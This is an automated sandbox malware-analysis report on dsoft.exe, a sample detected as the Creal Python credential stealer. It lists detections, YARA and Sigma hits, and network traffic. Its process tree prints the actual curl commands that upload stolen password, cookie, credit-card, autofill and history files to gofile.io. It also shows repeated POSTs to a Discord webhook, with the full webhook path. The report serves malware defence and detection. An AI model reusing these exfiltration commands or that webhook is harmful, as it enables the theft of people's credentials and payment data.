Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
dsoft.exe

Overview

General Information

Sample name:dsoft.exe
Analysis ID:1582061
MD5:42b4b335289128a94efb934d0080dab3
SHA1:fed72d52ff0a2231301410c80aee03cf0285b09e
SHA256:aa3f588529429795e1e0e72e430aef58a9190e72e01db662775e2c0d3c8a4420
Tags:de-pumpedexeuser-abuse_ch
Infos:

Detection

Python Stealer, Creal Stealer
Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Yara detected Creal Stealer
AI detected suspicious sample
Drops PE files to the startup folder
Found pyInstaller with non standard icon
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal communication platform credentials (via file / registry access)
Yara detected Generic Python Stealer
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Drops PE files
Enables debug privileges
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses a known web browser user agent for HTTP communication
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • dsoft.exe (PID: 6956 cmdline: "C:\Users\user\Desktop\dsoft.exe" MD5: 42B4B335289128A94EFB934D0080DAB3)
    • dsoft.exe (PID: 7128 cmdline: "C:\Users\user\Desktop\dsoft.exe" MD5: 42B4B335289128A94EFB934D0080DAB3)
      • cmd.exe (PID: 6232 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 6356 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 4548 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 3284 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 3896 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2324 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 1216 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 6156 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 2920 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2200 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 3588 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 5684 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5272 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 3652 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 1364 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • dsoft.exe (PID: 2248 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe" MD5: 42B4B335289128A94EFB934D0080DAB3)
    • dsoft.exe (PID: 4336 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe" MD5: 42B4B335289128A94EFB934D0080DAB3)
      • cmd.exe (PID: 5088 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 4456 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 6376 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 3616 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7032 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 5104 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5888 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 1732 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7092 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2180 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7104 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 3284 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 8 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 3624 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 6308 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CrealStealerYara detected Creal StealerJoe Security
    0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CrealStealerYara detected Creal StealerJoe Security
      0000000E.00000003.2449803777.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CrealStealerYara detected Creal StealerJoe Security
        0000000E.00000002.2716449819.000001FA5D4E0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_CrealStealerYara detected Creal StealerJoe Security
          0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
            Click to see the 9 entries

            Sigma Signatures

            Sigma detected: Startup Folder File Write
            Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\dsoft.exe, ProcessId: 7128, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
            Sigma detected: Usage Of Web Request Commands And Cmdlets
            Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\dsoft.exe", ParentImage: C:\Users\user\Desktop\dsoft.exe, ParentProcessId: 7128, ParentProcessName: dsoft.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", ProcessId: 3284, ProcessName: cmd.exe

            Suricata Signatures

            ⊘No Suricata rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus detection for URL or domain
            Source: https://discord.gift/Avira URL Cloud: Label: malware
            Multi AV Scanner detection for submitted file
            Source: dsoft.exeReversingLabs: Detection: 34%
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability

            Location Tracking

            barindex
            Tries to detect the country of the analysis system (by using the IP)
            Source: unknownDNS query: name: geolocation-db.com
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49752 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49757 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49762 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49776 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49792 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49805 version: TLS 1.2
            Source: dsoft.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: dsoft.exe, 00000000.00000003.1985477905.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159177221.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160087254.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159279158.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160087254.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160261628.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\select.pdb source: dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166596083.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168290335.000001463F1F2000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2161628059.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160707465.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: dsoft.exe, 00000000.00000003.1995076039.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168703723.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: dsoft.exe, 00000000.00000003.1996740060.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168910308.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: dsoft.exe, 00000000.00000003.1985304722.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159039587.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: dsoft.exe, 00000000.00000003.1985304722.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159039587.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160557351.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2160421599.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159384277.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: dsoft.exe, 00000000.00000003.1985477905.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159177221.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2159977076.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\
            Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
            Source: Joe Sandbox ViewIP Address: 162.159.138.232 162.159.138.232
            Source: Joe Sandbox ViewIP Address: 45.112.123.126 45.112.123.126
            Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
            Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
            Source: Joe Sandbox ViewJA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
            Source: unknownDNS query: name: api.ipify.org
            Source: unknownDNS query: name: api.ipify.org
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 420Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
            Source: global trafficHTTP traffic detected: POST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1Accept-Encoding: identityContent-Length: 1787Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
